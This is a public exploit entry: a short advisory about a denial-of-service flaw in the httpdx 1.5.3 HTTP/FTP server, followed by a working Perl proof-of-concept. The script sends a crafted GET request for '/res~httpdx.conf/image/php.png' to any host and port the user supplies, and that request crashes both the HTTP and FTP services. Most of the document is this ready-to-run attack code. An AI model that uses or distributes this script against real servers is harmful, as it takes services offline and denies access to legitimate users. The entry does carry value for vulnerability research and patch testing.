httpdx 1.5.3 – ‘.png’ File Handling Remote Denial of Service

source: https://www.securityfocus.com/bid/38638/info

The 'httpdx' program is prone to a denial-of-service vulnerbaility.

Remote attackers can exploit this issue to cause the server to stop responding, denying service to legitimate users.

This issue affects httpdx 1.5.3; other versions may also be affected.

#!/usr/bin/perl

# Program: Httpdx v1.5.3

# PoC : Remote Break Services

# Homepage : http://sourceforge.net/projects/httpdx/

# Found by : Jonathan Salwan

# This Advisory: Jonathan Salwan

# Contact: submit@shell-storm.org

# //----- Application description

# Single-process HTTP1.1/FTP server; no threads or processes started per connection, runs

# with only few threads. Includes directory listing, virtual hosting, basic auth., support

# for PHP, Perl, Python, SSI, etc. All settings in one config/script file.

# //----- Description of vulnerability

# The vulnerability is caused due to an input validation error when processing HTTP requests. This can be

# exploited to break all services http & ftp.

# //----- Credits

# http://www.shell-storm.org <submit@shell-storm.org>

use IO::Socket;

print "\n[x]Httpdx v1.5.3 - Remote Break Services\n";

if (@ARGV < 1)

{

print "[-] Usage: <file.pl> <host> <port>\n";

print "[-] Exemple: file.pl 127.0.0.1 80\n";

exit;

}

$ip = $ARGV[0];

$port = $ARGV[1];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

print "[+] Sending request: GET /res~httpdx.conf/image/php.png HTTP/1.1\\r\\nHost: $ip\\r\\n\\r\\n";

$msg = "GET /res~httpdx.conf/image/php.png HTTP/1.1\r\nHost: $ip\r\n\r\n";

$socket->send($msg);

print "\n[+] Done.\n\n";

close($socket);